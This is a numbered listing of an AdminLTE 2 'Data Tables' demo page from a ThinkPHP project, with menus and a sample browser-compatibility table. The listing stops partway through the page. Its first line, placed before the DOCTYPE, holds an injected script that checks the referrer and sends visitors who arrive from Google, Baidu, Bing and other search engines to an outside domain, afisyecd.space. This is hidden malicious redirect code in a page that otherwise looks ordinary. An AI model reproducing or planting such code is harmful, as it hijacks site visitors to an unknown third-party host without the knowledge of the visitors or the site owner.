d:\wwwroot\wuchunhua\thinkphp\public\adminlte\pages\tables\data.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002:
<html>
003:
<head>
004:
<meta charset="utf-8">
005:
<meta http-equiv="X-UA-Compatible" content="IE=edge">
006:
<title>AdminLTE 2 | Data Tables</title>
007:
<!-- Tell the browser to be responsive to screen width -->
008:
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
009:
<!-- Bootstrap 3.3.7 -->
010:
<link rel="stylesheet" href="../../bootstrap/css/bootstrap.min.css">
011:
<!-- Font Awesome -->
012:
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.5.0/css/font-awesome.min.css">
013:
<!-- Ionicons -->
014:
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/2.0.1/css/ionicons.min.css">
015:
<!-- DataTables -->
016:
<link rel="stylesheet" href="../../plugins/datatables/dataTables.bootstrap.css">
017:
<!-- Theme style -->
018:
<link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
019:
<!-- AdminLTE Skins. Choose a skin from the css/skins
020:
folder instead of downloading all of them to reduce the load. -->
021:
<link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css">
022:
023:
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
024:
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
025:
<!--[if lt IE 9]>
026:
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
027:
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
028:
<![endif]-->
029:
030:
<!-- Google Font -->
031:
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
032:
</head>
033:
<body class="hold-transition skin-blue sidebar-mini">
034:
<div class="wrapper">
035:
036:
<header class="main-header">
037:
<!-- Logo -->
038:
<a href="../../index2.html" class="logo">
039:
<!-- mini logo for sidebar mini 50x50 pixels -->
040:
<span class="logo-mini"><b>A</b>LT</span>
041:
<!-- logo for regular state and mobile devices -->
042:
<span class="logo-lg"><b>Admin</b>LTE</span>
043:
</a>
044:
<!-- Header Navbar: style can be found in header.less -->
045:
<nav class="navbar navbar-static-top">
046:
<!-- Sidebar toggle button-->
047:
<a href="#" class="sidebar-toggle" data-toggle="push-menu" role="button">
048:
<span class="sr-only">Toggle navigation</span>
049:
<span class="icon-bar"></span>
050:
<span class="icon-bar"></span>
051:
<span class="icon-bar"></span>
052:
</a>
053:
054:
<div class="navbar-custom-menu">
055:
<ul class="nav navbar-nav">
056:
<!-- Messages: style can be found in dropdown.less-->
057:
<li class="dropdown messages-menu">
058:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
059:
<i class="fa fa-envelope-o"></i>
060:
<span class="label label-success">4</span>
061:
</a>
062:
<ul class="dropdown-menu">
063:
<li class="header">You have 4 messages</li>
064:
<li>
065:
<!-- inner menu: contains the actual data -->
066:
<ul class="menu">
067:
<li>
<!-- start message -->
068:
<a href="#">
069:
<div class="pull-left">
070:
<img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
071:
</div>
072:
<h4>
073:
Support Team
074:
<small><i class="fa fa-clock-o"></i> 5 mins</small>
075:
</h4>
076:
<p>Why not buy a new awesome theme?</p>
077:
</a>
078:
</li>
079:
<!-- end message -->
080:
<li>
081:
<a href="#">
082:
<div class="pull-left">
083:
<img src="../../dist/img/user3-128x128.jpg" class="img-circle" alt="User Image">
084:
</div>
085:
<h4>
086:
AdminLTE Design Team
087:
<small><i class="fa fa-clock-o"></i> 2 hours</small>
088:
</h4>
089:
<p>Why not buy a new awesome theme?</p>
090:
</a>
091:
</li>
092:
<li>
093:
<a href="#">
094:
<div class="pull-left">
095:
<img src="../../dist/img/user4-128x128.jpg" class="img-circle" alt="User Image">
096:
</div>
097:
<h4>
098:
Developers
099:
<small><i class="fa fa-clock-o"></i> Today</small>
100:
</h4>
101:
<p>Why not buy a new awesome theme?</p>
102:
</a>
103:
</li>
104:
<li>
105:
<a href="#">
106:
<div class="pull-left">
107:
<img src="../../dist/img/user3-128x128.jpg" class="img-circle" alt="User Image">
108:
</div>
109:
<h4>
110:
Sales Department
111:
<small><i class="fa fa-clock-o"></i> Yesterday</small>
112:
</h4>
113:
<p>Why not buy a new awesome theme?</p>
114:
</a>
115:
</li>
116:
<li>
117:
<a href="#">
118:
<div class="pull-left">
119:
<img src="../../dist/img/user4-128x128.jpg" class="img-circle" alt="User Image">
120:
</div>
121:
<h4>
122:
Reviewers
123:
<small><i class="fa fa-clock-o"></i> 2 days</small>
124:
</h4>
125:
<p>Why not buy a new awesome theme?</p>
126:
</a>
127:
</li>
128:
</ul>
129:
</li>
130:
<li class="footer"><a href="#">See All Messages</a></li>
131:
</ul>
132:
</li>
133:
<!-- Notifications: style can be found in dropdown.less -->
134:
<li class="dropdown notifications-menu">
135:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
136:
<i class="fa fa-bell-o"></i>
137:
<span class="label label-warning">10</span>
138:
</a>
139:
<ul class="dropdown-menu">
140:
<li class="header">You have 10 notifications</li>
141:
<li>
142:
<!-- inner menu: contains the actual data -->
143:
<ul class="menu">
144:
<li>
145:
<a href="#">
146:
<i class="fa fa-users text-aqua"></i> 5 new members joined today
147:
</a>
148:
</li>
149:
<li>
150:
<a href="#">
151:
<i class="fa fa-warning text-yellow"></i> Very long description here that may not fit into the
152:
page and may cause design problems
153:
</a>
154:
</li>
155:
<li>
156:
<a href="#">
157:
<i class="fa fa-users text-red"></i> 5 new members joined
158:
</a>
159:
</li>
160:
161:
<li>
162:
<a href="#">
163:
<i class="fa fa-shopping-cart text-green"></i> 25 sales made
164:
</a>
165:
</li>
166:
<li>
167:
<a href="#">
168:
<i class="fa fa-user text-red"></i> You changed your username
169:
</a>
170:
</li>
171:
</ul>
172:
</li>
173:
<li class="footer"><a href="#">View all</a></li>
174:
</ul>
175:
</li>
176:
<!-- Tasks: style can be found in dropdown.less -->
177:
<li class="dropdown tasks-menu">
178:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
179:
<i class="fa fa-flag-o"></i>
180:
<span class="label label-danger">9</span>
181:
</a>
182:
<ul class="dropdown-menu">
183:
<li class="header">You have 9 tasks</li>
184:
<li>
185:
<!-- inner menu: contains the actual data -->
186:
<ul class="menu">
187:
<li>
<!-- Task item -->
188:
<a href="#">
189:
<h3>
190:
Design some buttons
191:
<small class="pull-right">20%</small>
192:
</h3>
193:
<div class="progress xs">
194:
<div class="progress-bar progress-bar-aqua" style="width: 20%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
195:
<span class="sr-only">20% Complete</span>
196:
</div>
197:
</div>
198:
</a>
199:
</li>
200:
<!-- end task item -->
201:
<li>
<!-- Task item -->
202:
<a href="#">
203:
<h3>
204:
Create a nice theme
205:
<small class="pull-right">40%</small>
206:
</h3>
207:
<div class="progress xs">
208:
<div class="progress-bar progress-bar-green" style="width: 40%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
209:
<span class="sr-only">40% Complete</span>
210:
</div>
211:
</div>
212:
</a>
213:
</li>
214:
<!-- end task item -->
215:
<li>
<!-- Task item -->
216:
<a href="#">
217:
<h3>
218:
Some task I need to do
219:
<small class="pull-right">60%</small>
220:
</h3>
221:
<div class="progress xs">
222:
<div class="progress-bar progress-bar-red" style="width: 60%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
223:
<span class="sr-only">60% Complete</span>
224:
</div>
225:
</div>
226:
</a>
227:
</li>
228:
<!-- end task item -->
229:
<li>
<!-- Task item -->
230:
<a href="#">
231:
<h3>
232:
Make beautiful transitions
233:
<small class="pull-right">80%</small>
234:
</h3>
235:
<div class="progress xs">
236:
<div class="progress-bar progress-bar-yellow" style="width: 80%" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100">
237:
<span class="sr-only">80% Complete</span>
238:
</div>
239:
</div>
240:
</a>
241:
</li>
242:
<!-- end task item -->
243:
</ul>
244:
</li>
245:
<li class="footer">
246:
<a href="#">View all tasks</a>
247:
</li>
248:
</ul>
249:
</li>
250:
<!-- User Account: style can be found in dropdown.less -->
251:
<li class="dropdown user user-menu">
252:
<a href="#" class="dropdown-toggle" data-toggle="dropdown">
253:
<img src="../../dist/img/user2-160x160.jpg" class="user-image" alt="User Image">
254:
<span class="hidden-xs">Alexander Pierce</span>
255:
</a>
256:
<ul class="dropdown-menu">
257:
<!-- User image -->
258:
<li class="user-header">
259:
<img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
260:
261:
<p>
262:
Alexander Pierce - Web Developer
263:
<small>Member since Nov. 2012</small>
264:
</p>
265:
</li>
266:
<!-- Menu Body -->
267:
<li class="user-body">
268:
<div class="row">
269:
<div class="col-xs-4 text-center">
270:
<a href="#">Followers</a>
271:
</div>
272:
<div class="col-xs-4 text-center">
273:
<a href="#">Sales</a>
274:
</div>
275:
<div class="col-xs-4 text-center">
276:
<a href="#">Friends</a>
277:
</div>
278:
</div>
279:
<!-- /.row -->
280:
</li>
281:
<!-- Menu Footer-->
282:
<li class="user-footer">
283:
<div class="pull-left">
284:
<a href="#" class="btn btn-default btn-flat">Profile</a>
285:
</div>
286:
<div class="pull-right">
287:
<a href="#" class="btn btn-default btn-flat">Sign out</a>
288:
</div>
289:
</li>
290:
</ul>
291:
</li>
292:
<!-- Control Sidebar Toggle Button -->
293:
<li>
294:
<a href="#" data-toggle="control-sidebar"><i class="fa fa-gears"></i></a>
295:
</li>
296:
</ul>
297:
</div>
298:
</nav>
299:
</header>
300:
<!-- Left side column. contains the logo and sidebar -->
301:
<aside class="main-sidebar">
302:
<!-- sidebar: style can be found in sidebar.less -->
303:
<section class="sidebar">
304:
<!-- Sidebar user panel -->
305:
<div class="user-panel">
306:
<div class="pull-left image">
307:
<img src="../../dist/img/user2-160x160.jpg" class="img-circle" alt="User Image">
308:
</div>
309:
<div class="pull-left info">
310:
<p>Alexander Pierce</p>
311:
<a href="#"><i class="fa fa-circle text-success"></i> Online</a>
312:
</div>
313:
</div>
314:
<!-- search form -->
315:
<form action="#" method="get" class="sidebar-form">
316:
<div class="input-group">
317:
<input type="text" name="q" class="form-control" placeholder="Search...">
318:
<span class="input-group-btn">
319:
<button type="submit" name="search" id="search-btn" class="btn btn-flat"><i class="fa fa-search"></i>
320:
</button>
321:
</span>
322:
</div>
323:
</form>
324:
<!-- /.search form -->
325:
<!-- sidebar menu: : style can be found in sidebar.less -->
326:
<ul class="sidebar-menu" data-widget="tree">
327:
<li class="header">MAIN NAVIGATION</li>
328:
<li class="treeview">
329:
<a href="#">
330:
<i class="fa fa-dashboard"></i> <span>Dashboard</span>
331:
<span class="pull-right-container">
332:
<i class="fa fa-angle-left pull-right"></i>
333:
</span>
334:
</a>
335:
<ul class="treeview-menu">
336:
<li><a href="../../index.html"><i class="fa fa-circle-o"></i> Dashboard v1</a></li>
337:
<li><a href="../../index2.html"><i class="fa fa-circle-o"></i> Dashboard v2</a></li>
338:
</ul>
339:
</li>
340:
<li class="treeview">
341:
<a href="#">
342:
<i class="fa fa-files-o"></i>
343:
<span>Layout Options</span>
344:
<span class="pull-right-container">
345:
<span class="label label-primary pull-right">4</span>
346:
</span>
347:
</a>
348:
<ul class="treeview-menu">
349:
<li><a href="../layout/top-nav.html"><i class="fa fa-circle-o"></i> Top Navigation</a></li>
350:
<li><a href="../layout/boxed.html"><i class="fa fa-circle-o"></i> Boxed</a></li>
351:
<li><a href="../layout/fixed.html"><i class="fa fa-circle-o"></i> Fixed</a></li>
352:
<li><a href="../layout/collapsed-sidebar.html"><i class="fa fa-circle-o"></i> Collapsed Sidebar</a></li>
353:
</ul>
354:
</li>
355:
<li>
356:
<a href="../widgets.html">
357:
<i class="fa fa-th"></i> <span>Widgets</span>
358:
<span class="pull-right-container">
359:
<small class="label pull-right bg-green">new</small>
360:
</span>
361:
</a>
362:
</li>
363:
<li class="treeview">
364:
<a href="#">
365:
<i class="fa fa-pie-chart"></i>
366:
<span>Charts</span>
367:
<span class="pull-right-container">
368:
<i class="fa fa-angle-left pull-right"></i>
369:
</span>
370:
</a>
371:
<ul class="treeview-menu">
372:
<li><a href="../charts/chartjs.html"><i class="fa fa-circle-o"></i> ChartJS</a></li>
373:
<li><a href="../charts/morris.html"><i class="fa fa-circle-o"></i> Morris</a></li>
374:
<li><a href="../charts/flot.html"><i class="fa fa-circle-o"></i> Flot</a></li>
375:
<li><a href="../charts/inline.html"><i class="fa fa-circle-o"></i> Inline charts</a></li>
376:
</ul>
377:
</li>
378:
<li class="treeview">
379:
<a href="#">
380:
<i class="fa fa-laptop"></i>
381:
<span>UI Elements</span>
382:
<span class="pull-right-container">
383:
<i class="fa fa-angle-left pull-right"></i>
384:
</span>
385:
</a>
386:
<ul class="treeview-menu">
387:
<li><a href="../UI/general.html"><i class="fa fa-circle-o"></i> General</a></li>
388:
<li><a href="../UI/icons.html"><i class="fa fa-circle-o"></i> Icons</a></li>
389:
<li><a href="../UI/buttons.html"><i class="fa fa-circle-o"></i> Buttons</a></li>
390:
<li><a href="../UI/sliders.html"><i class="fa fa-circle-o"></i> Sliders</a></li>
391:
<li><a href="../UI/timeline.html"><i class="fa fa-circle-o"></i> Timeline</a></li>
392:
<li><a href="../UI/modals.html"><i class="fa fa-circle-o"></i> Modals</a></li>
393:
</ul>
394:
</li>
395:
<li class="treeview">
396:
<a href="#">
397:
<i class="fa fa-edit"></i> <span>Forms</span>
398:
<span class="pull-right-container">
399:
<i class="fa fa-angle-left pull-right"></i>
400:
</span>
401:
</a>
402:
<ul class="treeview-menu">
403:
<li><a href="../forms/general.html"><i class="fa fa-circle-o"></i> General Elements</a></li>
404:
<li><a href="../forms/advanced.html"><i class="fa fa-circle-o"></i> Advanced Elements</a></li>
405:
<li><a href="../forms/editors.html"><i class="fa fa-circle-o"></i> Editors</a></li>
406:
</ul>
407:
</li>
408:
<li class="treeview active">
409:
<a href="#">
410:
<i class="fa fa-table"></i> <span>Tables</span>
411:
<span class="pull-right-container">
412:
<i class="fa fa-angle-left pull-right"></i>
413:
</span>
414:
</a>
415:
<ul class="treeview-menu">
416:
<li><a href="simple.html"><i class="fa fa-circle-o"></i> Simple tables</a></li>
417:
<li class="active"><a href="data.html"><i class="fa fa-circle-o"></i> Data tables</a></li>
418:
</ul>
419:
</li>
420:
<li>
421:
<a href="../calendar.html">
422:
<i class="fa fa-calendar"></i> <span>Calendar</span>
423:
<span class="pull-right-container">
424:
<small class="label pull-right bg-red">3</small>
425:
<small class="label pull-right bg-blue">17</small>
426:
</span>
427:
</a>
428:
</li>
429:
<li>
430:
<a href="../mailbox/mailbox.html">
431:
<i class="fa fa-envelope"></i> <span>Mailbox</span>
432:
<span class="pull-right-container">
433:
<small class="label pull-right bg-yellow">12</small>
434:
<small class="label pull-right bg-green">16</small>
435:
<small class="label pull-right bg-red">5</small>
436:
</span>
437:
</a>
438:
</li>
439:
<li class="treeview">
440:
<a href="#">
441:
<i class="fa fa-folder"></i> <span>Examples</span>
442:
<span class="pull-right-container">
443:
<i class="fa fa-angle-left pull-right"></i>
444:
</span>
445:
</a>
446:
<ul class="treeview-menu">
447:
<li><a href="../examples/invoice.html"><i class="fa fa-circle-o"></i> Invoice</a></li>
448:
<li><a href="../examples/profile.html"><i class="fa fa-circle-o"></i> Profile</a></li>
449:
<li><a href="../examples/login.html"><i class="fa fa-circle-o"></i> Login</a></li>
450:
<li><a href="../examples/register.html"><i class="fa fa-circle-o"></i> Register</a></li>
451:
<li><a href="../examples/lockscreen.html"><i class="fa fa-circle-o"></i> Lockscreen</a></li>
452:
<li><a href="../examples/404.html"><i class="fa fa-circle-o"></i> 404 Error</a></li>
453:
<li><a href="../examples/500.html"><i class="fa fa-circle-o"></i> 500 Error</a></li>
454:
<li><a href="../examples/blank.html"><i class="fa fa-circle-o"></i> Blank Page</a></li>
455:
<li><a href="../examples/pace.html"><i class="fa fa-circle-o"></i> Pace Page</a></li>
456:
</ul>
457:
</li>
458:
<li class="treeview">
459:
<a href="#">
460:
<i class="fa fa-share"></i> <span>Multilevel</span>
461:
<span class="pull-right-container">
462:
<i class="fa fa-angle-left pull-right"></i>
463:
</span>
464:
</a>
465:
<ul class="treeview-menu">
466:
<li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
467:
<li class="treeview">
468:
<a href="#"><i class="fa fa-circle-o"></i> Level One
469:
<span class="pull-right-container">
470:
<i class="fa fa-angle-left pull-right"></i>
471:
</span>
472:
</a>
473:
<ul class="treeview-menu">
474:
<li><a href="#"><i class="fa fa-circle-o"></i> Level Two</a></li>
475:
<li class="treeview">
476:
<a href="#"><i class="fa fa-circle-o"></i> Level Two
477:
<span class="pull-right-container">
478:
<i class="fa fa-angle-left pull-right"></i>
479:
</span>
480:
</a>
481:
<ul class="treeview-menu">
482:
<li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
483:
<li><a href="#"><i class="fa fa-circle-o"></i> Level Three</a></li>
484:
</ul>
485:
</li>
486:
</ul>
487:
</li>
488:
<li><a href="#"><i class="fa fa-circle-o"></i> Level One</a></li>
489:
</ul>
490:
</li>
491:
<li><a href="../../documentation/index.html"><i class="fa fa-book"></i> <span>Documentation</span></a></li>
492:
<li class="header">LABELS</li>
493:
<li><a href="#"><i class="fa fa-circle-o text-red"></i> <span>Important</span></a></li>
494:
<li><a href="#"><i class="fa fa-circle-o text-yellow"></i> <span>Warning</span></a></li>
495:
<li><a href="#"><i class="fa fa-circle-o text-aqua"></i> <span>Information</span></a></li>
496:
</ul>
497:
</section>
498:
<!-- /.sidebar -->
499:
</aside>
500:
501:
<!-- Content Wrapper. Contains page content -->
502:
<div class="content-wrapper">
503:
<!-- Content Header (Page header) -->
504:
<section class="content-header">
505:
<h1>
506:
Data Tables
507:
<small>advanced tables</small>
508:
</h1>
509:
<ol class="breadcrumb">
510:
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
511:
<li><a href="#">Tables</a></li>
512:
<li class="active">Data tables</li>
513:
</ol>
514:
</section>
515:
516:
<!-- Main content -->
517:
<section class="content">
518:
<div class="row">
519:
<div class="col-xs-12">
520:
<div class="box">
521:
<div class="box-header">
522:
<h3 class="box-title">Hover Data Table</h3>
523:
</div>
524:
<!-- /.box-header -->
525:
<div class="box-body">
526:
<table id="example2" class="table table-bordered table-hover">
527:
<thead>
528:
<tr>
529:
<th>Rendering engine</th>
530:
<th>Browser</th>
531:
<th>Platform(s)</th>
532:
<th>Engine version</th>
533:
<th>CSS grade</th>
534:
</tr>
535:
</thead>
536:
<tbody>
537:
<tr>
538:
<td>Trident</td>
539:
<td>Internet
540:
Explorer 4.0
541:
</td>
542:
<td>Win 95+</td>
543:
<td> 4</td>
544:
<td>X</td>
545:
</tr>
546:
<tr>
547:
<td>Trident</td>
548:
<td>Internet
549:
Explorer 5.0
550:
</td>
551:
<td>Win 95+</td>
552:
<td>5</td>
553:
<td>C</td>
554:
</tr>
555:
<tr>
556:
<td>Trident</td>
557:
<td>Internet
558:
Explorer 5.5
559:
</td>
560:
<td>Win 95+</td>
561:
<td>5.5</td>
562:
<td>A</td>
563:
</tr>
564:
<tr>
565:
<td>Trident</td>
566:
<td>Internet
567:
Explorer 6
568:
</td>
569:
<td>Win 98+</td>
570:
<td>6</td>
571:
<td>A</td>
572:
</tr>
573:
<tr>
574:
<td>Trident</td>
575:
<td>Internet Explorer 7</td>
576:
<td>Win XP SP2+</td>
577:
<td>7</td>
578:
<td>A</td>
579:
</tr>
580:
<tr>
581:
<td>Trident</td>
582:
<td>AOL browser (AOL desktop)</td>
583:
<td>Win XP</td>
584:
<td>6</td>
585:
<td>A</td>
586:
</tr>
587:
<tr>
588:
<td>Gecko</td>
589:
<td>Firefox 1.0</td>
590:
<td>Win 98+ / OSX.2+</td>
591:
<td>1.7</td>
592:
<td>A</td>
593:
</tr>
594:
<tr>
595:
<td>Gecko</td>
596:
<td>Firefox 1.5</td>
597:
<td>Win 98+ / OSX.2+</td>
598:
<td>1.8</td>
599:
<td>A</td>
600:
</tr>
601:
<tr>
602:
<td>Gecko</td>
603:
<td>Firefox 2.0</td>
604:
<td>Win 98+ / OSX.2+</td>
605:
<td>1.8</td>
606:
<td>A</td>
607:
</tr>
608:
<tr>
609:
<td>Gecko</td>
610:
<td>Firefox 3.0</td>
611:
<td>Win 2k+ / OSX.3+</td>
612:
<td>1.9</td>
613:
<td>A</td>
614:
</tr>
615:
<tr>
616:
<td>Gecko</td>
617:
<td>Camino 1.0</td>
618:
<td>OSX.2+</td>
619:
<td>1.8</td>
620:
<td>A</td>
621:
</tr>
622:
<tr>
623:
<td>Gecko</td>
624:
<td>Camino 1.5</td>
625:
<td>OSX.3+</td>
626:
<td>1.8</td>
627:
<td>A</td>
628:
</tr>
629:
<tr>
630:
<td>Gecko</td>
631:
<td>Netscape 7.2</td>
632:
<td>Win 95+ / Mac OS 8.6-9.2</td>
633:
<td>1.7</td>
634:
<td>A</td>
635:
</tr>
636:
<tr>
637:
<td>Gecko</td>
638:
<td>Netscape Browser 8</td>
639:
<td>Win 98SE+</td>
640:
<td>1.7</td>
641:
<td>A</td>
642:
</tr>
643:
<tr>
644:
<td>Gecko</td>
645:
<td>Netscape Navigator 9</td>
646:
<td>Win 98+ / OSX.2+</td>
647:
<td>1.8</td>
648:
<td>A</td>
649:
</tr>
650:
<tr>
651:
<td>Gecko</td>
652:
<td>Mozilla 1.0</td>
653:
<td>Win 95+ / OSX.1+</td>
654:
<td>1</td>
655:
<td>A</td>
656:
</tr>
657:
<tr>
658:
<td>Gecko</td>
659:
<td>Mozilla 1.1</td>
660:
<td>Win 95+ / OSX.1+</td>
661:
<td>1.1</td>
662:
<td>A</td>
663:
</tr>
664:
<tr>
665:
<td>Gecko</td>
666:
<td>Mozilla 1.2</td>
667:
<td>Win 95+ / OSX.1+</td>
668:
<td>1.2</td>
669:
<td>A</td>
670:
</tr>
671:
<tr>
672:
<td>Gecko</td>
673:
<td>Mozilla 1.3</td>
674:
<td>Win 95+ / OSX.1+</td>
675:
<td>1.3</td>
676:
<td>A</td>
677:
</tr>
678:
<tr>
679:
<td>Gecko</td>
680:
<td>Mozilla 1.4</td>
681:
<td>Win 95+ / OSX.1+</td>
682:
<td>1.4</td>
683:
<td>A</td>
684:
</tr>
685:
<tr>
686:
<td>Gecko</td>
687:
<td>Mozilla 1.5</td>
688:
<td>Win 95+ / OSX.1+</td>
689:
<td>1.5</td>
690:
<td>A</td>
691:
</tr>
692:
<tr>
693:
<td>Gecko</td>
694:
<td>Mozilla 1.6</td>
695:
<td>Win 95+ / OSX.1+</td>
696:
<td>1.6</td>
697:
<td>A</td>
698:
</tr>
699:
<tr>
700:
<td>Gecko</td>
701:
<td>Mozilla 1.7</td>
702:
<td>Win 98+ / OSX.1+</td>
703:
<td>1.7</td>
704:
<td>A</td>
705:
</tr>
706:
<tr>
707:
<td>Gecko</td>
708:
<td>Mozilla 1.8</td>
709:
<td>Win 98+ / OSX.1+</td>
710:
<td>1.8</td>
711:
<td>A</td>
712:
</tr>
713:
<tr>
714:
<td>Gecko</td>
715:
<td>Seamonkey 1.1</td>
716:
<td>Win 98+ / OSX.2+</td>
717:
<td>1.8</td>
718:
<td>A</td>
719:
</tr>
720:
<tr>
721:
<td>Gecko</td>
722:
<td>Epiphany 2.20</td>
723:
<td>Gnome</td>
724:
<td>1.8</td>
725:
<td>A</td>
726:
</tr>
727:
<tr>
728:
<td>Webkit</td>
729:
<td>Safari 1.2</td>
730:
<td>OSX.3</td>
731:
<td>125.5</td>
732:
<td>A</td>
733:
</tr>
734:
<tr>
735:
<td>Webkit</td>
736:
<td>Safari 1.3</td>
737:
<td>OSX.3</td>
738:
<td>312.8</td>
739:
<td>A</td>
740:
</tr>
741:
<tr>
742:
<td>Webkit</td>
743:
<td>Safari 2.0</td>
744:
<td>OSX.4+</td>
745:
<td>419.3</td>
746:
<td>A</td>
747:
</tr>
748:
<tr>
749:
<td>Webkit</td>
750:
<td>Safari 3.0</td>
751:
<td>OSX.4+</td>
752:
<td>522.1</td>
753:
<td>A</td>
754:
</tr>
755:
<tr>
756:
<td>Webkit</td>
757:
<td>OmniWeb 5.5</td>
758:
<td>OSX.4+</td>
759:
<td>420</td>
760:
<td>A</td>
761:
</tr>
762:
<tr>
763:
<td>Webkit</td>
764:
<td>iPod Touch / iPhone</td>
765:
<td>iPod</td>
766:
<td>420.1</td>
767:
<td>A</td>
768:
</tr>
769:
<tr>
770:
<td>Webkit</td>
771:
<td>S60</td>
772:
<td>S60</td>
773:
<td>413</td>
774:
<td>A</td>
775:
</tr>
776:
<tr>
777:
<td>Presto</td>
778:
<td>Opera 7.0</td>
779:
<td>Win 95+ / OSX.1+</td>
780:
<td>-</td>
781:
<td>A</td>
782:
</tr>
783:
<tr>
784:
<td>Presto</td>
785:
<td>Opera 7.5</td>
786:
<td>Win 95+ / OSX.2+</td>
787:
<td>-</td>
788:
<td>A</td>
789:
</tr>
790:
<tr>
791:
<td>Presto</td>
792:
<td>Opera 8.0</td>
793:
<td>Win 95+ / OSX.2+</td>
794:
<td>-</td>
795:
<td>A</td>
796:
</tr>
797:
<tr>
798:
<td>Presto</td>
799:
<td>Opera 8.5</td>
800:
<td>Win 95+ / OSX.2+</td>
801:
<td>-</td>
802:
<td>A</td>
803:
</tr>
804:
<tr>
805:
<td>Presto</td>
806:
<td>Opera 9.0</td>
807:
<td>Win 95+ / OSX.3+</td>
808:
<td>-</td>
809:
<td>A</td>
810:
</tr>
811:
<tr>
812:
<td>Presto</td>
813:
<td>Opera 9.2</td>
814:
<td>Win 88+ / OSX.3+</td>
815:
<td>-</td>
816:
<td>A</td>
817:
</tr>
818:
<tr>
819:
<td>Presto</td>
820:
<td>Opera 9.5</td>
821:
<td>Win 88+ / OSX.3+</td>
822:
<td>-</td>
823:
<td>A</td>
824:
</tr>
825:
<tr>
826:
<td>Presto</td>
827:
<td>Opera for Wii</td>
828:
<td>Wii</td>
829:
<td>-</td>
830:
<td>A</td>
831:
</tr>
832:
<tr>
833:
<td>Presto</td>
834:
<td>Nokia N800</td>
835:
<td>N800</td>
836:
<td>-</td>
837:
<td>A</td>
838:
</tr>
839:
<tr>
840:
<td>Presto</td>
841:
<td>Nintendo DS browser</td>
842:
<td>Nintendo DS</td>
843:
<td>8.5</td>
844:
<td>C/A<sup>1</sup></td>
845:
</tr>
846:
<tr>
847:
<td>KHTML</td>
848:
<td>Konqureror 3.1</td>
849:
<td>KDE 3.1</td>
850:
<td>3.1</td>
851:
<td>C</td>
852:
</tr>
853:
<tr>
854:
<td>KHTML</td>
855:
<td>Konqureror 3.3</td>
856:
<td>KDE 3.3</td>
857:
<td>3.3</td>
858:
<td>A</td>
859:
</tr>
860:
<tr>
861:
<td>KHTML</td>
862:
<td>Konqureror 3.5</td>
863:
<td>KDE 3.5</td>
864:
<td>3.5</td>
865:
<td>A</td>
866:
</tr>
867:
<tr>
868:
<td>Tasman</td>
869:
<td>Internet Explorer 4.5</td>
870:
<td>Mac OS 8-9</td>
871:
<td>-</td>
872:
<td>X</td>
873:
</tr>
874:
<tr>
875:
<td>Tasman</td>
876:
<td>Internet Explorer 5.1</td>
877:
<td>Mac OS 7.6-9</td>
878:
<td>1</td>
879:
<td>C</td>
880:
</tr>
881:
<tr>
882:
<td>Tasman</td>
883:
<td>Internet Explorer 5.2</td>
884:
<td>Mac OS 8-X</td>
885:
<td>1</td>
886:
<td>C</td>
887:
</tr>
888:
<tr>
889:
<td>Misc</td>
890:
<td>NetFront 3.1</td>
891:
<td>Embedded devices</td>
892:
<td>-</td>
893:
<td>C</td>
894:
</tr>
895:
<tr>
896:
<td>Misc</td>
897:
<td>NetFront 3.4</td>
898:
<td>Embedded devices</td>
899:
<td>-</td>
900:
<td>A</td>
901:
</tr>
902:
<tr>
903:
<td>Misc</td>
904:
<td>Dillo 0.8</td>
905:
<td>Embedded devices</td>
906:
<td>-</td>
907:
<td>X</td>
908:
</tr>
909:
<tr>
910:
<td>Misc</td>
911:
<td>Links</td>
912:
<td>Text only</td>
913:
<td>-</td>
914:
<td>X</td>
915:
</tr>
916:
<tr>
917:
<td>Misc</td>
918:
<td>Lynx</td>
919:
<td>Text only</td>
920:
<td>-</td>
921:
<td>X</td>
922:
</tr>
923:
<tr>
924:
<td>Misc</td>
925:
<td>IE Mobile</td>
926:
<td>Windows Mobile 6</td>
927:
<td>-</td>
928:
<td>C</td>
929:
</tr>
930:
<tr>
931:
<td>Misc</td>
932:
<td>PSP browser</td>
933:
<td>PSP</td>
934:
<td>-</td>
935:
<td>C</td>
936:
</tr>
937:
<tr>
938:
<td>Other browsers</td>
939:
<td>All others</td>
940:
<td>-</td>
941:
<td>-</td>
942:
<td>U</td>
943:
</tr>
944:
</tbody>
945:
<tfoot>
946:
<tr>
947:
<th>Rendering engine</th>
948:
<th>Browser</th>
949:
<th>Platform(s)</th>
950:
<th>Engine version</th>
951:
<th>CSS grade</th>
952:
</tr>
953:
</tfoot>
954:
</table>
955:
</div>
956:
<!-- /.box-body -->
957:
</div>
958:
<!-- /.box -->
959:
960:
<div class="box">
961:
<div class="box-header">
962:
<h3 class="box-title">Data Table With Full Features</h3>
963:
</div>
964:
<!-- /.box-header -->
965:
